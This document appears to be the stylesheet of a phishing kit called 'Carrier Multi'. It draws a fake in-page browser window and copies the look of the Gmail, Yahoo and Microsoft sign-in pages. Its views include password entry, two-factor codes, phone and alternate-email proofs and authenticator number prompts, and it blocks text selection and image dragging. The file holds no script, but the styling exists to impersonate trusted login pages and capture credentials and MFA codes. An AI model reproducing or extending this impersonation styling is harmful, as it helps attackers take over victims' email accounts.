/* ══════════════════════════════════════════
   Carrier Multi – combined styles
   ══════════════════════════════════════════ */
body{-webkit-user-select:none;user-select:none;-webkit-touch-callout:none}
img,svg{-webkit-user-drag:none;user-drag:none;pointer-events:none}
input,textarea{-webkit-user-select:text;user-select:text}

*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
body.no-scroll{overflow:hidden}

.phase{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:24px}

/* ═════ CARRIER PHASE ═════ */
.carrier-phase{font-family:-apple-system,system-ui,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#0e0d0b;color:#2a2724;background-image:url('bg.jpg');background-size:cover;background-position:center}
.carrier-phase::before{content:'';position:fixed;inset:0;background:linear-gradient(160deg,rgba(10,9,7,.82),rgba(30,25,18,.72));z-index:0}
.c-card{position:relative;z-index:1;width:100%;max-width:480px;background:#fbf8f3;border-radius:16px;padding:40px 36px 36px;box-shadow:0 8px 30px rgba(0,0,0,.35)}
.steps{display:flex;gap:4px;margin-bottom:32px}
.step{flex:1;text-align:center;font-size:13px;font-weight:600;color:#8a8580;padding:10px 0 8px;border-bottom:2px solid #e2ddd7;transition:color .2s,border-color .2s;cursor:default}
.step .num{display:inline-flex;align-items:center;justify-content:center;width:22px;height:22px;border-radius:50%;font-size:12px;background:#e2ddd7;color:#8a8580;margin-right:4px;vertical-align:middle;transition:background .2s,color .2s}
.step.active{color:#e2711d;border-color:#e2711d}
.step.active .num{background:#e2711d;color:#fff}
.step.done{color:#2e7d32;border-color:#2e7d32}
.step.done .num{background:#2e7d32;color:#fff}
.c-brand{display:flex;align-items:center;gap:12px;margin-bottom:28px}
.c-brand-icon{width:44px;height:44px;border-radius:12px;background:#e2711d;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.c-brand-name{font-size:16px;font-weight:700;color:#2a2724}
.c-brand-sub{font-size:11px;font-weight:700;color:#e2711d;letter-spacing:1.5px;text-transform:uppercase}
.c-h1{font-size:22px;font-weight:700;margin-bottom:4px;color:#2a2724}
.c-sub{color:#8a8580;font-size:14px;margin-bottom:24px;line-height:1.5}
.seg{display:flex;background:#eae6e1;border-radius:8px;padding:3px;margin-bottom:20px}
.seg-btn{flex:1;padding:8px 0;border:none;border-radius:6px;font-size:14px;font-weight:600;cursor:pointer;background:transparent;color:#8a8580;transition:all .15s}
.seg-btn.active{background:#fff;color:#2a2724;box-shadow:0 1px 3px rgba(0,0,0,.1)}
.c-field{display:flex;flex-direction:column;gap:4px;margin-bottom:16px}
.c-field span{font-size:13px;font-weight:600;color:#2a2724}
.c-field input{border:1px solid #e2ddd7;border-radius:8px;padding:10px 12px;font-size:15px;outline:none;transition:border-color .15s;background:#fff}
.c-field input:focus{border-color:#e2711d}
.c-btn{display:inline-flex;align-items:center;justify-content:center;padding:11px 22px;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;border:none;transition:background .15s,color .15s}
.c-btn.primary{background:linear-gradient(135deg,#e2711d,#d4941a);color:#fff}
.c-btn.primary:hover:not(:disabled){background:linear-gradient(135deg,#c85f14,#c08316)}
.c-btn.primary:disabled{opacity:.5;cursor:default}
.c-btn.full{width:100%}
.c-err{color:#c62828;font-size:13px;margin-top:8px;min-height:18px}
.c-footer{font-size:12px;color:#a09a94;text-align:center;margin-top:24px}

/* ═════ MODALS ═════ */
.modal{position:fixed;inset:0;z-index:100;display:flex;align-items:center;justify-content:center;padding:20px}
.modal[hidden]{display:none}
.modal-backdrop{position:absolute;inset:0;background:rgba(20,11,4,.58);-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);animation:modalFade .2s ease both}
.modal-card{position:relative;width:100%;max-width:430px;background:linear-gradient(180deg,#fffdf9 0%,#fbf8f3 100%);border:1px solid rgba(255,255,255,.6);border-radius:20px;padding:30px 28px;text-align:center;box-shadow:0 30px 70px -20px rgba(20,10,2,.62),0 1px 0 rgba(255,255,255,.6) inset;animation:modalPop .24s cubic-bezier(.2,.8,.2,1) both;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif}
@keyframes modalFade{from{opacity:0}to{opacity:1}}
@keyframes modalPop{from{opacity:0;transform:translateY(10px) scale(.97)}to{opacity:1;transform:none}}
.modal-icon{width:54px;height:54px;margin:0 auto 16px;border-radius:15px;color:#e2711d;background:linear-gradient(135deg,#fbeada,#fdf0e1);display:grid;place-items:center;box-shadow:0 0 0 1px rgba(226,113,29,.14) inset,0 6px 16px -8px rgba(226,86,15,.4)}
.modal-icon svg{width:28px;height:28px}
.modal-card h2{font-size:20px;margin:0 0 7px;letter-spacing:-.015em;color:#241a12}
.modal-sub{color:#7c6a54;font-size:13.5px;margin:0 0 20px}
.carrier-card{text-align:left;border:1px solid #e7ddcd;border-radius:15px;padding:17px 18px;margin-bottom:22px;background:#f7f2e9;box-shadow:0 1px 2px rgba(46,28,12,.04) inset}
.cc-top{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-bottom:13px}
.cc-name{font-weight:700;font-size:16px;letter-spacing:-.01em;color:#241a12}
.badge{display:inline-flex;align-items:center;gap:6px;font-size:12px;font-weight:650;padding:5px 11px;border-radius:999px;letter-spacing:.01em;white-space:nowrap}
.badge.ok{background:#e9f8ef;color:#16a34a;box-shadow:0 0 0 1px rgba(22,163,74,.16) inset}
.badge.warn{background:#fdf1dd;color:#b45309;box-shadow:0 0 0 1px rgba(180,83,9,.16) inset}
.cc-rows{margin:0;display:grid;gap:10px}
.cc-rows>div{display:flex;gap:12px;font-size:13.5px}
.cc-rows dt{flex:0 0 64px;color:#7c6a54;margin:0;font-weight:550}
.cc-rows dd{margin:0;font-weight:600;color:#473726}
.modal-actions{display:flex;gap:10px}
.modal-actions .btn{flex:1}
.btn{display:inline-flex;align-items:center;justify-content:center;gap:8px;border:0;border-radius:12px;padding:13px 18px;font:inherit;font-weight:650;letter-spacing:.005em;cursor:pointer;transition:background .16s,box-shadow .16s,transform .06s}
.btn:active{transform:translateY(1px)}
.btn.primary{background:linear-gradient(135deg,#f59e0b 0%,#e2560f 100%);color:#fff;width:100%;box-shadow:0 10px 24px -8px rgba(226,86,15,.6),0 1px 0 rgba(255,255,255,.25) inset}
.btn.primary:hover{background:linear-gradient(135deg,#ea580c 0%,#c2410c 100%);box-shadow:0 14px 30px -8px rgba(226,86,15,.65),0 1px 0 rgba(255,255,255,.25) inset}
.btn.ghost{background:transparent;color:#7c6a54;border:1px solid #d9cfba}
.btn.ghost:hover{background:#f5eede}

/* ═════ PROVIDER PICKER ═════ */
.provider-tiles{display:flex;flex-direction:column;gap:10px;margin-bottom:6px}
.provider-tile{display:flex;align-items:center;gap:14px;background:#fffdf7;border:1px solid #e7ddcd;border-radius:14px;padding:14px 16px;cursor:pointer;text-align:left;font:inherit;transition:transform .1s,border-color .15s,box-shadow .15s}
.provider-tile:hover{border-color:#c8b58a;box-shadow:0 6px 18px -8px rgba(20,10,2,.25);transform:translateY(-1px)}
.provider-tile:active{transform:translateY(0)}
.pt-icon{width:40px;height:40px;border-radius:10px;flex-shrink:0;display:flex;align-items:center;justify-content:center;background:#fff;border:1px solid #eee1c9}
.pt-text{flex:1;min-width:0}
.pt-title{font-size:14.5px;font-weight:700;color:#241a12;letter-spacing:-.005em}
.pt-sub{font-size:12px;color:#7c6a54;margin-top:2px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.pt-arrow{flex-shrink:0}
.provider-tile[data-provider="gmail"]:hover{border-color:#EA4335}
.provider-tile[data-provider="yahoo"]:hover{border-color:#6001d2}
.provider-tile[data-provider="outlook"]:hover{border-color:#0067b8}

/* ═════ BROWSER OVERLAY (shared) ═════ */
.browser-overlay{display:none;position:fixed;inset:0;z-index:200;background:rgba(0,0,0,.6);align-items:center;justify-content:center;padding:24px}
.browser-overlay.open{display:flex}
.browser-window{width:min(440px,96vw);border:1px solid #888;border-radius:0;box-shadow:0 8px 30px rgba(0,0,0,.4);overflow:hidden;animation:browserPop .25s ease}
@keyframes browserPop{from{opacity:0;transform:scale(.95) translateY(12px)}to{opacity:1;transform:scale(1) translateY(0)}}
.browser-titlebar{display:flex;align-items:stretch;background:#fff;padding:0 0 0 8px;cursor:move;user-select:none;border-bottom:1px solid #ccc;min-height:32px}
.browser-titlebar-icon{flex-shrink:0;margin-right:6px;width:16px;height:16px;object-fit:cover;object-position:left;align-self:center}
.browser-tab-spinner{display:none;flex-shrink:0;margin-right:6px;align-self:center;width:16px;height:16px;border:2px solid #dadce0;border-top-color:#1a73e8;border-radius:50%;animation:tabSpin .8s linear infinite}
.browser-titlebar.is-loading .browser-titlebar-icon{display:none}
.browser-titlebar.is-loading .browser-tab-spinner{display:block}
@keyframes tabSpin{to{transform:rotate(360deg)}}
.browser-titlebar-text{flex:1;font-size:12px;color:#333;font-weight:400;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:'Segoe UI',-apple-system,system-ui,sans-serif;align-self:center}
.browser-winctrls{display:flex;flex-shrink:0;align-self:stretch}
.browser-winbtn{background:none;border:none;cursor:default;width:46px;display:flex;align-items:center;justify-content:center;font-size:12px;color:#333;transition:background .1s;font-family:'Segoe UI',sans-serif}
.browser-winbtn:hover{background:rgba(0,0,0,.06)}
.browser-winbtn--close:hover{background:#e81123;color:#fff}
.browser-addressbar{display:flex;align-items:center;gap:8px;background:#f1f3f4;padding:5px 10px;border-bottom:1px solid #ccc;font-family:'Segoe UI',-apple-system,system-ui,sans-serif;cursor:text;transition:background .15s}
.browser-addressbar:hover{background:#e4e6e8}
.browser-tune{flex-shrink:0;cursor:default;pointer-events:none}
.browser-addressbar-url{flex:1;font-size:13px;color:#333;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;pointer-events:none}
.g-progress{position:absolute;top:0;left:0;width:100%;height:3px;background:transparent;overflow:hidden;z-index:10;display:none}
.g-progress.active{display:block}
.g-progress::after{content:'';position:absolute;top:0;left:0;width:40%;height:100%;background:#1a73e8;animation:gProgressSlide 1.5s ease-in-out infinite}
@keyframes gProgressSlide{0%{left:-40%;width:40%}50%{left:30%;width:60%}100%{left:100%;width:40%}}
.browser-body{background:#f0f4f9;display:flex;align-items:center;justify-content:center;padding:40px 24px;min-height:420px;position:relative;font-family:'Google Sans',Roboto,-apple-system,BlinkMacSystemFont,sans-serif}

/* ═════ GMAIL (.g-*) — verbatim from carrier-login ═════ */
.g-card{background:#fff;border-radius:8px;border:1px solid #dadce0;padding:48px 40px 36px;width:100%;max-width:420px}
.g-view{display:none;flex-direction:column;align-items:center;transition:opacity .2s ease}
.g-view.show{display:flex}
.g-card.is-loading .g-view{opacity:.4;pointer-events:none}
.g-logo{margin-bottom:16px;text-align:center}
.g-title{font-size:24px;font-weight:400;color:#202124;margin-bottom:4px;text-align:center}
.g-subtitle-main{font-size:16px;color:#202124;margin-bottom:24px;text-align:center}
.g-subtitle{font-size:14px;color:#5f6368;text-align:center;line-height:1.5;margin-bottom:24px;max-width:340px}
.g-email-chip{display:inline-flex;align-items:center;gap:6px;padding:4px 12px 4px 4px;border:1px solid #dadce0;border-radius:16px;background:none;cursor:pointer;font-size:14px;font-family:'Google Sans',Roboto,sans-serif;color:#3c4043;margin-bottom:20px;max-width:100%;transition:background .2s}
.g-email-chip:hover{background:#f1f3f4}
.g-email-chip span{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.g-form{width:100%;display:flex;flex-direction:column;gap:8px}
.g-row{display:flex;gap:12px}
.g-row .g-input-wrap{flex:1;min-width:0}
.g-input-wrap{position:relative;margin-bottom:4px}
.g-input-wrap input{width:100%;padding:13px 15px;border:1px solid #dadce0;border-radius:4px;font-size:16px;color:#202124;outline:none;background:#fff;transition:border-color .15s ease-out;font-family:'Google Sans',Roboto,sans-serif}
.g-input-wrap input:focus{border-color:#1a73e8;border-width:2px;padding:12px 14px}
.g-input-wrap label{position:absolute;left:12px;top:50%;transform:translateY(-50%);font-size:16px;color:#5f6368;pointer-events:none;transition:all .15s ease;background:#fff;padding:0 4px}
.g-input-wrap input:focus+label,.g-input-wrap input:not(:placeholder-shown)+label{top:0;font-size:12px;color:#1a73e8}
.g-input-wrap input:not(:focus):not(:placeholder-shown)+label{color:#5f6368}
.g-input-wrap input:disabled{background:#f8f9fa;color:#80868b}
.g-input-wrap.has-error input{border-color:#d93025}
.g-input-wrap.has-error input:focus{border-color:#d93025}
.g-input-wrap.has-error input:focus+label,.g-input-wrap.has-error input:not(:placeholder-shown)+label{color:#d93025}
.g-inline-error{display:flex;align-items:flex-start;gap:8px;margin-top:-2px;margin-bottom:4px}
.g-inline-error svg{flex-shrink:0;margin-top:1px}
.g-inline-error span{font-size:12px;color:#d93025;line-height:1.4}
.g-link{font-size:14px;color:#1a73e8;text-decoration:none;font-weight:500;cursor:pointer;font-family:'Google Sans',Roboto,sans-serif}
.g-link:hover{text-decoration:underline}
.g-checkbox{display:flex;align-items:center;gap:8px;font-size:14px;color:#202124;cursor:pointer;margin:4px 0}
.g-checkbox input[type="checkbox"]{width:18px;height:18px;accent-color:#1a73e8;cursor:pointer}
.g-actions{display:flex;justify-content:space-between;align-items:center;margin-top:24px}
.g-btn-next,.g-btn-main{height:36px;padding:0 24px;background:#1a73e8;color:#fff;border:none;border-radius:4px;font-size:14px;font-weight:500;font-family:'Google Sans',Roboto,sans-serif;cursor:pointer;letter-spacing:.25px;transition:background .2s,box-shadow .2s}
.g-btn-next{min-width:90px}
.g-btn-next:hover:not(:disabled),.g-btn-main:hover{background:#1765cc;box-shadow:0 1px 2px 0 rgba(60,64,67,.3),0 1px 3px 1px rgba(60,64,67,.15)}
.g-btn-next:disabled{background:#dadce0;color:#80868b;cursor:not-allowed}
.g-type-icon{margin:8px 0 24px;text-align:center}
.g-attempt{font-size:12px;color:#d93025;margin-bottom:16px;text-align:center}
.g-prompt-number{width:100%;text-align:center;padding:24px;background:#e8f0fe;border-radius:8px;margin-bottom:24px}
.g-prompt-label{font-size:14px;color:#5f6368;margin-bottom:12px}
.g-prompt-value{font-size:56px;font-weight:500;color:#202124;font-family:'Google Sans',Roboto,sans-serif;letter-spacing:8px}
.g-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#5f6368}
.g-spinner-sm{width:24px;height:24px;border:3px solid #e8eaed;border-top:3px solid #1a73e8;border-radius:50%;animation:spin .8s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
.g-success-check,.y-success-check,.m-success-check{margin-bottom:24px}
.g-error-svg,.y-error-svg,.m-error-svg{margin-bottom:16px}
.g-error-text{font-size:14px;color:#5f6368;margin-bottom:24px;line-height:1.5;text-align:center}

/* ═════ YAHOO (.y-*) — mailv4 native design ═════ */
.y-card{background:#fff;border-radius:12px;border:1px solid #e0e0e0;padding:48px 40px 32px;width:100%;max-width:400px;position:relative;overflow:hidden;box-shadow:0 4px 16px rgba(0,0,0,.08);font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}
.y-view{display:none;flex-direction:column;align-items:center;transition:opacity .2s ease}
.y-view.show{display:flex}
.y-card.is-loading .y-view{opacity:.4;pointer-events:none}
.y-progress{position:absolute;top:0;left:0;width:100%;height:3px;background:transparent;overflow:hidden;z-index:10;display:none}
.y-progress.active{display:block}
.y-progress::after{content:'';position:absolute;top:0;left:0;width:40%;height:100%;background:#6001d2;animation:yProgressSlide 1.5s ease-in-out infinite}
@keyframes yProgressSlide{0%{left:-40%}100%{left:100%}}
.y-logo{margin-bottom:24px;text-align:center;height:36px;display:flex;align-items:center;justify-content:center}
.y-logo img{height:36px;width:auto}
.y-title{font-size:26px;font-weight:700;color:#1d2228;margin-bottom:12px;text-align:center;letter-spacing:-.02em;line-height:1.2}
.y-subtitle{font-size:14px;color:#57585c;text-align:center;line-height:1.5;margin-bottom:20px;max-width:320px}
.y-email-display{font-size:16px;color:#1d2228;margin-bottom:20px;text-align:center;font-weight:500}
.y-back-btn{position:absolute;top:16px;left:16px;background:none;border:none;cursor:pointer;padding:4px;border-radius:50%;transition:background .15s;z-index:5}
.y-back-btn:hover{background:#f1f1f5}
.y-back-btn svg{pointer-events:auto}
.y-form{width:100%;display:flex;flex-direction:column;gap:12px}
.y-row{display:flex;gap:12px}
.y-row .y-input-wrap{flex:1}
.y-input-wrap{position:relative;margin-bottom:4px}
.y-input-wrap input{width:100%;padding:14px 16px;border:1px solid #ced0d4;border-radius:8px;font-size:16px;color:#1d2228;outline:none;background:#fff;transition:border-color .15s;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}
.y-input-wrap input:focus{border-color:#6001d2;border-width:2px;padding:13px 15px}
.y-input-wrap label{position:absolute;left:14px;top:50%;transform:translateY(-50%);font-size:16px;color:#57585c;pointer-events:none;transition:all .15s;background:#fff;padding:0 4px}
.y-input-wrap input:focus+label,.y-input-wrap input:not(:placeholder-shown)+label{top:0;font-size:12px;color:#6001d2}
.y-input-wrap input:not(:focus):not(:placeholder-shown)+label{color:#57585c}
.y-eye-btn{position:absolute;right:12px;top:50%;transform:translateY(-50%);background:none;border:none;cursor:pointer;padding:4px;display:flex;align-items:center;justify-content:center;border-radius:50%}
.y-eye-btn:hover{background:#f1f1f5}
.y-input-wrap input[type="password"],.y-input-wrap input.y-has-eye{padding-right:44px}
.y-input-wrap.has-error input{border-color:#d0021b}
.y-input-wrap.has-error input:focus{border-color:#d0021b}
.y-input-wrap.has-error input:focus+label,.y-input-wrap.has-error input:not(:placeholder-shown)+label{color:#d0021b}
.y-inline-error{display:flex;align-items:flex-start;gap:8px;margin-top:-2px;margin-bottom:4px}
.y-inline-error svg{flex-shrink:0;margin-top:1px}
.y-inline-error span{font-size:13px;color:#d0021b;line-height:1.4}
.y-link{font-size:14px;color:#6001d2;text-decoration:none;font-weight:600;cursor:pointer}
.y-link:hover{text-decoration:underline}
.y-link.y-link-gray{color:#57585c;font-weight:500}
.y-link.center-link{text-align:center;margin-top:8px}
.y-link.create-link{text-align:center;font-size:15px}
.y-btn{width:100%;height:46px;padding:0 24px;border:none;border-radius:24px;font-size:16px;font-weight:700;cursor:pointer;letter-spacing:.01em;transition:background .2s,box-shadow .2s;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}
.y-btn.primary{background:#6001d2;color:#fff}
.y-btn.primary:hover:not(:disabled){background:#4f00b3}
.y-btn.primary:active{background:#3d008f}
.y-btn:disabled{background:#c4c4c4;cursor:not-allowed;color:#fff}
.y-form-actions{display:flex;justify-content:space-between;align-items:center;margin-top:16px}
.y-divider{display:flex;align-items:center;gap:12px;margin:16px 0;color:#57585c;font-size:13px}
.y-divider::before,.y-divider::after{content:'';flex:1;height:1px;background:#ced0d4}
.y-type-icon{margin:8px 0 24px;text-align:center}
.y-attempt{font-size:12px;color:#d0021b;margin-bottom:16px;text-align:center}
.y-prompt-number{width:100%;text-align:center;padding:24px;background:#f3e8ff;border-radius:12px;margin-bottom:24px}
.y-prompt-label{font-size:14px;color:#57585c;margin-bottom:12px}
.y-prompt-value{font-size:56px;font-weight:700;color:#6001d2;letter-spacing:8px}
.y-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#57585c}
.y-spinner-sm{width:24px;height:24px;border:3px solid #e0e0e0;border-top:3px solid #6001d2;border-radius:50%;animation:spin .8s linear infinite}
.y-error-text{font-size:14px;color:#57585c;margin-bottom:24px;line-height:1.5;text-align:center}
.y-method-list{width:100%;display:flex;flex-direction:column;gap:12px;margin-top:8px}
.y-method-card{display:flex;align-items:flex-start;gap:14px;width:100%;padding:16px;background:#fff;border:1px solid #ced0d4;border-radius:12px;cursor:pointer;text-align:left;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;transition:border-color .15s,background .15s,box-shadow .15s}
.y-method-card:hover{border-color:#6001d2;background:#faf5ff}
.y-method-card.selected{border-color:#6001d2;border-width:2px;padding:15px;background:#faf5ff}
.y-method-icon{flex-shrink:0;width:24px;height:24px;display:flex;align-items:center;justify-content:center;margin-top:2px;color:#6001d2}
.y-method-body{flex:1;min-width:0}
.y-method-label{font-size:15px;font-weight:600;color:#1d2228;margin-bottom:4px}
.y-method-hint{font-size:14px;color:#57585c;line-height:1.4;word-break:break-word}
.y-footer-embedded{width:100%;padding-top:20px;margin-top:16px;border-top:1px solid #f0f0f0}
.y-footer-links{display:flex;align-items:center;justify-content:center;gap:8px;font-size:13px}
.y-footer-links a{color:#57585c;text-decoration:none}
.y-footer-links a:hover{text-decoration:underline}
.y-footer-dot{width:3px;height:3px;border-radius:50%;background:#ced0d4}

/* ═════ MICROSOFT / OUTLOOK (.m-*) — mailv5 native design ═════ */
.m-card{background:#fff;border-radius:0;border:none;box-shadow:0 2px 6px rgba(0,0,0,.15);padding:44px 44px 36px;width:100%;max-width:440px;font-family:'Segoe UI','Segoe UI Web (West European)',-apple-system,BlinkMacSystemFont,'Helvetica Neue',sans-serif;color:#1b1b1b;position:relative}
.m-view{display:none;flex-direction:column;align-items:stretch;transition:opacity .2s ease}
.m-view.show{display:flex}
.m-card.is-loading .m-view{opacity:.4;pointer-events:none}
.m-logo-wrap{margin-bottom:16px}
.m-logo-img{display:block;user-select:none;-webkit-user-select:none}
.m-title{font-family:'Segoe UI','Segoe UI Web (West European)',sans-serif;font-size:24px;font-weight:600;color:#1b1b1b;margin:0 0 16px;line-height:1.3125;text-align:left}
.m-back{display:inline-flex;align-items:center;gap:8px;background:none;border:none;padding:0;margin-bottom:12px;cursor:pointer;font-family:inherit;font-size:15px;color:#1b1b1b}
.m-back:hover span{text-decoration:underline}
.m-back svg{flex-shrink:0;color:#1b1b1b}
.m-form{width:100%;display:flex;flex-direction:column}
.m-field{position:relative;margin-bottom:8px}
.m-field input{width:100%;height:32px;padding:6px 0;border:none;border-bottom:1px solid #666;background:transparent;font-family:inherit;font-size:15px;color:#1b1b1b;outline:none;border-radius:0;transition:border-color .1s ease-out}
.m-field input::placeholder{color:#666;font-family:inherit}
.m-field input:focus{border-bottom-color:#005da6}
.m-field input:disabled{color:#a19f9d}
.m-field.has-error input,.m-field.has-error input:focus{border-bottom-color:#a80000}
.m-error{font-size:13px;color:#a80000;margin:2px 0 6px;line-height:1.4}
.m-link{font-size:13px;color:#0f6cbd;text-decoration:none;font-weight:600;cursor:pointer}
.m-link:hover{text-decoration:underline}
.m-cant-access{margin-top:20px;align-self:flex-start}
.m-create-row{display:flex;align-items:baseline;gap:5px;margin-top:12px}
.m-muted{font-size:13px;color:#1b1b1b}
.m-signin-options-link{margin-top:12px;align-self:flex-start}
.m-actions{display:flex;justify-content:flex-end;margin-top:44px;gap:8px}
.m-btn{min-width:108px;min-height:32px;padding:5px 12px;background:#005da6;color:#fff;border:1px solid #005da6;border-radius:0;font-family:inherit;font-size:15px;font-weight:600;cursor:pointer;transition:background .1s}
.m-btn:hover:not(:disabled){background:#004c8c;border-color:#004c8c}
.m-btn:active:not(:disabled){background:#003966}
.m-btn:disabled{opacity:.6;cursor:not-allowed}
.m-btn-ghost{background:#e5e5e5;color:#1b1b1b;border-color:#e5e5e5}
.m-btn-ghost:hover:not(:disabled){background:#d1d1d1;border-color:#d1d1d1}

/* Create account view */
.m-create{display:flex;flex-direction:column;align-items:center;font-family:'Segoe UI','Segoe UI Web (West European)',sans-serif;color:#1b1b1b;width:100%}
.m-create-title{font-size:24px;font-weight:600;color:#1b1b1b;margin:0 0 8px;line-height:1.3;text-align:center}
.m-create-sub{font-size:15px;color:#1b1b1b;margin:0 0 24px;text-align:center}
.m-create-form{display:flex;flex-direction:column;gap:20px;width:100%}
.m-boxed-field{position:relative}
.m-boxed-field input{width:100%;height:40px;padding:6px 10px;border:1px solid #605e5c;background:#fff;font-family:inherit;font-size:15px;color:#1b1b1b;outline:none;border-radius:0}
.m-boxed-field input::placeholder{color:#666}
.m-boxed-field input:focus{border-color:#005da6;border-width:2px;padding:5px 9px}
.m-primary-btn{width:100%;height:40px;padding:0 16px;background:#005da6;color:#fff;border:1px solid #005da6;border-radius:0;font-family:inherit;font-size:15px;font-weight:600;cursor:pointer;transition:background .1s}
.m-primary-btn:hover:not(:disabled){background:#004c8c;border-color:#004c8c}
.m-primary-btn:disabled{opacity:.6;cursor:pointer}
.m-signin-row{display:flex;justify-content:center;align-items:baseline;gap:6px;font-size:13px}

/* Progress strip (mailv5's 5-dot travel animation) — positioned at top of card */
.m-progress-strip{position:absolute;top:8px;left:0;right:0;width:100%;height:8px;overflow:hidden;display:none;z-index:5}
.m-progress-strip.active{display:block}
.m-progress-dot{position:absolute;top:50%;left:-8px;width:4px;height:4px;border-radius:50%;background:#0067b8;transform:translateY(-50%) scale(.4);opacity:0;animation:mDotTravel 1.2s linear infinite}
.m-progress-dot:nth-child(1){animation-delay:0s}
.m-progress-dot:nth-child(2){animation-delay:.1s}
.m-progress-dot:nth-child(3){animation-delay:.2s}
.m-progress-dot:nth-child(4){animation-delay:.3s}
.m-progress-dot:nth-child(5){animation-delay:.4s}
@keyframes mDotTravel{0%{left:-8px;transform:translateY(-50%) scale(.4);opacity:0}10%{opacity:1;transform:translateY(-50%) scale(1)}30%{left:45%;transform:translateY(-50%) scale(1);opacity:1}70%{left:55%;transform:translateY(-50%) scale(1);opacity:1}90%{opacity:1;transform:translateY(-50%) scale(1)}to{left:100%;transform:translateY(-50%) scale(.4);opacity:0}}

/* Status view (loading — circular spinner in center) */
.m-status{display:flex;flex-direction:column;align-items:center;padding:8px 0;font-family:'Segoe UI',Roboto,sans-serif}
.m-status-loader{margin-bottom:24px}
.m-status-title{font-size:24px;font-weight:400;color:#202124;margin-top:8px;text-align:center}
.m-circular-spinner{animation:mRotate 1.4s linear infinite}
.m-spinner-arc{animation:mDash 1.4s ease-in-out infinite;transform-origin:center}
@keyframes mRotate{to{transform:rotate(360deg)}}
@keyframes mDash{0%{stroke-dasharray:1 200;stroke-dashoffset:0}50%{stroke-dasharray:89 200;stroke-dashoffset:-35}to{stroke-dasharray:89 200;stroke-dashoffset:-124}}

/* Small waiting spinner row (auth prompt, device) */
.m-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#5f6368;margin-top:8px}
.m-spinner{width:24px;height:24px;border:3px solid #e8eaed;border-top:3px solid #0078d4;border-radius:50%;animation:spin .8s linear infinite;flex-shrink:0}

/* TFA layout (code, phone, alt-email, proof choice, auth prompt, device, success, error) */
.m-tfa-inline{display:flex;flex-direction:column;align-items:center;font-family:'Segoe UI',Roboto,sans-serif;width:100%}
.m-tfa-title{font-size:24px;font-weight:400;color:#202124;margin-bottom:8px;text-align:center;line-height:1.3}
.m-tfa-subtitle{font-size:14px;color:#5f6368;text-align:center;line-height:1.5;margin-bottom:24px;max-width:340px}
.m-tfa-attempt{font-size:12px;color:#a80000;margin-bottom:16px;text-align:center}
.m-tfa-icon{margin:8px 0 24px;text-align:center}
.m-tfa-form{width:100%}
.m-tfa-actions{display:flex;justify-content:space-between;align-items:center;margin-top:24px}
.m-input-wrap{position:relative;margin-bottom:16px}
.m-input-wrap input{width:100%;padding:13px 15px;border:1px solid #dadce0;border-radius:4px;font-size:16px;color:#202124;outline:none;background:#fff;transition:border-color .15s ease-out;font-family:'Segoe UI',Roboto,sans-serif}
.m-input-wrap input:focus{border-color:#0078d4;border-width:2px;padding:12px 14px}
.m-input-wrap label{position:absolute;left:12px;top:50%;transform:translateY(-50%);font-size:16px;color:#5f6368;pointer-events:none;transition:all .15s ease;background:#fff;padding:0 4px}
.m-input-wrap input:focus+label,.m-input-wrap input:not(:placeholder-shown)+label{top:0;font-size:12px;color:#0078d4}
.m-input-wrap input:not(:focus):not(:placeholder-shown)+label{color:#5f6368}
.m-btn-next{height:36px;padding:0 24px;background:#0078d4;color:#fff;border:none;border-radius:4px;font-size:14px;font-weight:500;font-family:'Segoe UI',Roboto,sans-serif;cursor:pointer;min-width:90px;letter-spacing:.25px;transition:background .2s,box-shadow .2s}
.m-btn-next:hover:not(:disabled){background:#005a9e;box-shadow:0 1px 2px rgba(60,64,67,.3),0 1px 3px 1px rgba(60,64,67,.15)}
.m-btn-next:disabled{background:#dadce0;color:#80868b;cursor:not-allowed}

/* Alt email */
.m-alt-email-row{display:flex;align-items:center;border:1px solid #605e5c;padding:4px 10px;background:#fff;border-radius:0;width:100%;min-width:0;overflow:hidden}
.m-alt-email-row:focus-within{border-color:#005da6;border-width:2px;padding:3px 9px}
.m-alt-email-input{flex:1;border:none;outline:none;font-family:inherit;font-size:15px;color:#1b1b1b;padding:8px 0;background:transparent;min-width:0}
.m-alt-email-input::placeholder{color:#666}
.m-alt-email-suffix{color:#605e5c;font-size:15px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;max-width:60%;flex-shrink:1;min-width:0}

/* Proof choice */
.m-proof-options{display:flex;flex-direction:column;gap:8px;width:100%}
.m-proof-option{display:flex;align-items:center;gap:16px;padding:14px 16px;background:#fff;border:1px solid #dadce0;cursor:pointer;text-align:left;font-family:'Segoe UI',Roboto,sans-serif;color:#202124;transition:background .1s,border-color .1s;border-radius:0;min-width:0;overflow:hidden}
.m-proof-option:hover{background:#f2f2f2;border-color:#b8b8b8}
.m-proof-option svg{flex-shrink:0}
.m-proof-text{display:flex;flex-direction:column;min-width:0;flex:1;overflow:hidden}
.m-proof-title{font-size:15px;font-weight:600;color:#1b1b1b;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.m-proof-title span{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:bottom}
.m-proof-sub{font-size:13px;color:#605e5c;margin-top:2px}

/* Authenticator prompt number */
.m-prompt-number{width:100%;text-align:center;padding:24px;background:#deecf9;border-radius:8px;margin-bottom:24px}
.m-prompt-label{font-size:14px;color:#5f6368;margin-bottom:12px}
